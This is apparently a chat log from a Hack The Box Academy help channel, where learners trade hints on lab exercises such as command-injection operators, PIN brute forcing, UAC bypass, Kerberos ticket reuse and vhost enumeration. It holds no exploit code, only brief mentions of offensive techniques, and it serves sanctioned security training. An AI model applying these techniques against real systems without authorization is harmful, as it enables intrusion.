I don't understand what I'm missing. Could someone kindly give me a push?

[quiet trout]

can you link? i think ive done this one

[bitter talon]

https://academy.hackthebox.com/module/35/section/247

[quiet trout]

what does the exercise say to search for? why are you using pericolo? investigate that and you'll be on your way.

stick with your basic curl that includes auth header

[bitter talon]

Ok, I solved it, thank you very much. I needed to search for the flag directly on search.

[tepid wren]

Hello there! Would anyone be able to help me with Command Injection module question Try all other injection operators to see if any of them is not blacklisted. Which of (new-line, &, |) is not blacklisted by the web application? please?

I have found correct answer but the checker disagree with me 😄

[limpid hemlock]

Hey im trying to solve citrix breakout from windows priv esc and im trying to run bypass uac but cant

[timid nexus]

can someone help me with the module linux basics with this question: Which kernel version is installed on the system? (Format: 1.22.3)

[dim wolf]

uname is your friend

[limpid hemlock]

Google it bro

[timid nexus]

i know but it is wrong when i use uname -v

[dim wolf]

are you SSHed into the target?

[timid nexus]

i think so

[dim wolf]

what's the output when you type whoami

[timid nexus]

htb-ac-1516765

[dim wolf]

you should be htb-student, so you haven't SSHed in yet

[timid nexus]

i know how to ssh but where do i get the ip and port

[dim wolf]

at the bottom of the section where the questions are, there should be a button to spawn the target machine

[timid nexus]

yeah i do have that

and i did

[dim wolf]

click it, and once it spawns, you'll get an IP and port to SSH to

[timid nexus]

thank you

how do i specify user with ssh? i only get the pw field

[storm elk]

Might want to do Linux fundamentals

[timid nexus]

i do but how?

[storm elk]

ssh user@host

[timid nexus]

thx

[tepid wren]

Anyone please? I'm pretty sure that answer format is what I'm doing wrong..

[limpid hemlock]

Any help

[empty trout]

``` can anybody able to run this command i think -sC and --script options cannot be used in the single command

and here we are selecting a table and will only get the data on that table not the whole database

[wild sage]

try puting just the injection operator into the answer box

[limpid hemlock]

Anyone knw what to do here im stuck in this module for some time

[tepid wren]

that's what I did. I tried & which worked for me

[shut quest]

You should review the map documentation on -sC and --script

[shut quest]

You should provide more information like things you've tried and the module name and section.

As far as your screenshot is concerned. You can't use a command prompt for PowerShell.

[empty trout]

that command is for powershell

not cmd

[limpid hemlock]

That was ftom citrix breakout section from windows privesc module

I wana run the tools i bought into the citrix environment but isnt able to run it as import modile shows the error

[empty trout]

get-psprovider

run powershell

[empty trout]

i am getting an error with no usable error output while using both of them together

[shut quest]

Read the docs you'll understand why.

[tender nimbus]

Hey guys i have a question about password cracking if someone has a little bit of time to explain me somethig it would be great ^^

[tepid wren]

I tried %26 and Background as well but it still doesn't accept it as answer

[void hemlock]

Can I ping someone for this module and section:

Module: MSSQL, Exchange, and SCCM Attacks
Section: Skills Assessment

[stable jasper]

Hi, i'm at the really end of the footprinting lab hard but i can't manage to finish it, can someone help me ? thank you

[dusky tusk]

Hello everyone

Recommend me any YouTube channel for CCNA preparation

[viral lotus]

Professor messer or network chuck are alright there’s probably others out there too

[viral lotus]

But may be worth posting in the resources channel as here is for the academy modules help

[solar condor]

there's a problem in Exploiting Web Vulnerabilities in Thick-Client Applications/Attacking Common Applications lab, there's no Open option at the bottom of the window. is there anyone have encounter this?

[safe star]

You probably did the wrong thing

That section is easy to mess up

[tepid wren]

I just passed skills assesment so I cleary have idea what I'm doing 😄 but still can't beat this part. Would really appreciate someone help 🙂

[safe star]

Pick one of the 3 options they give

Even though there’s like 5 valid characters to bypass it

[tepid wren]

lol, thanks. I got it now

[civic trail]

hey ,guys i am stuck in one of the modules. Login-brute forcing, section-Brute Force attacks.I try to brute force the pins from 0000-10000,but i always run out of time and dont get the flag.What should i do?
Any help would be amazing

[midnight galleon]

restart the machine and you might get lucky

[civic trail]

i restarted the machine multiple times now
from 2 days

Does the pin change everytime i restart?

[midnight galleon]

i just tried it and it is working

yeah probably it is changing

[inner yarrow]

Yo yo

[safe star]

yo

[hazy comet]

@safe star I found the solution for the cookies not appearing. I was attacking /phishing and not /hijacking hahaha 🤦‍♂️

[lament haven]

I know this is "module" topic but did not found general for academy. Does anyone else have trouble loging in to HTB Academy? I am having messaga "Cannot log in user because it's already linked with another HTB Account" - unfortunately none of the FAQ and articles solutions helps :/

[wanton spade]

Try these: https://youtube.com/playlist?list=PLxbwE86jKRgMpuZuLBivzlM8s2Dk5lXBQ&si=q1UPR2Y7Lg8ZWTPB

https://youtube.com/playlist?list=PLhfrWIlLOoKPc2RecyiM_A9nf3fUU3e6g&si=tMqAZODuQsnxTYjW

I would recommend to disregard NetworkChuck that guy is a waste of time bad jokes and no information

[midnight flume]

Tried logging in with Google yet?

[lament haven]

What google has to do with my HTB account :O?

[tender nimbus]

hey guys im stuck on password craking, i have to awnser this question, when i use linikatz i found this (its the ticket of the linux01 user right?)after i export it in my enviroment and then try to list the smb share i get a ACCES DENIED

[midnight flume]

If you signed up with a Google email that might have something to do with it if not then idk

[midnight galleon]

some arent valid iirc

expired

[tender nimbus]

but with the klist command you can see that its valid (10/09/2024)

[midnight galleon]

ok did you get julio's flag?

[tender nimbus]

yes i got all of them just not the last one

the one about ticket validation a saw and understood it

[midnight galleon]

ok so the last one you need to find where is the keytab from linikatz

you can find it from the section too~

[midnight flume]

Do I need a main HTB account to enter CTF’s?

I’d like to enter but I can’t make an account whilst under 18 and I legit turn 18 in two months

[dim wolf]

don't do this. just sign up with your actual age and get parental permission

https://help.hackthebox.com/en/articles/9456556-parental-consent-and-approval-for-users-under-18

[midnight flume]

How?

Oh Tysm 🙏

[fathom pendant]

Because you need to use -k to use a ticket to sign in

[cobalt aspen]

Module: Information Gathering - Web Edition
Section: Virtual Hosts
Could anyone clarify to me what i have to do here exactly

where i am supposed to give this domain for vhosts bruteforce or what else

because when i give just ip in target url it gives me nothing when bruteforcing

[safe star]

wdym?

you're not supposed to use the ip, use the domain

[cobalt aspen]

i need to add it to the hosts file am i right?

given target and that url

[safe star]

yes

[cobalt aspen]

with port yes?

[safe star]

no

dont most htb machines require this too?

[safe star]

why did you add the port number

[cobalt aspen]

.

im so confused

[safe star]

i said no port number

[cobalt aspen]

ahh yes

im stupid, but anywas it doesnt work

[safe star]

yes it does

remove the port number from the hosts file but still add it to the url

[cobalt aspen]

wtf

tnx

[midnight galleon]

Aquatone or eywitness?

Aquatone is archived now so is it good to still use?

[safe star]

eyewitness feels easier to look through

[gritty pine]

Real quick Idk but why can't I speak in #general I just got here

I didn't put my actual legal name out of safety concerns

[tender nimbus]

just tried it but don't work

i'm probably doing something wrong

[safe star]

why do you keep using julios ticket?

[fluid mist]

How do I get to This terminal, I just started an hour ago and bootedup my work station but im lost on this step

[tender nimbus]

but its not? i'm using linux01 ticket from the screenshot? no?

[safe star]

yeah but when you used smbclient it was with julios

[tender nimbus]

yeah but with the linux01 ticket that is what i don't understand, and once i get that listing dinied the ticket disapears

[safe star]

are you on pwnbox?

[fluid mist]

yes, Its telling me to find the linux OS Flavour, idk what that is

[merry girder]

Flavour should mean distribution, this is due to Linux being a kernel and a lot of copanies/orgs distribute software on top of it. Examples Debian, Ubuntu, OpenSuse, Arch

so with that in mind you should probably look for such info

[fluid mist]

no its supposed to be in my work station right? I feel like im missing something

It said I should open a terminal

Start your workstation, then use the integrated terminal to find the Linux OS flavor by running the following command: cat /etc/issue

this exact words

[tender nimbus]

@safe star my bad i tought that it was first default principal and after it the ticket cach but its the oposite ^^

[safe star]

did you click the green square at the top left?

[merry girder]

example from my local machine -

[fluid mist]

yea it gives me a drop down tho

[safe star]

oh nvm i meant the other green square more to the right

[fluid mist]

omg thank you bro

I see wym

have a good one

[merry girder]

ah wait I did not realise you were asking how to start the terminal

[fluid mist]

yea I was lol

also whats the next step

[merry girder]

yeap all good now that it's resolved 🙂

[fluid mist]

I followed the command but didnt solve the question

[merry girder]

next step is to run the above command from my screenshot

the output should be silmillar but with different words like Debian ParrotOS or something like that

[fluid mist]

ok so should I use the words LInuxOS?

I cant send a ss, how do you do that so I can show you?

please

[safe star]

what module is this?

[fluid mist]

first one, just started like an hour ago

literally on the intro

[safe star]

intro to academy?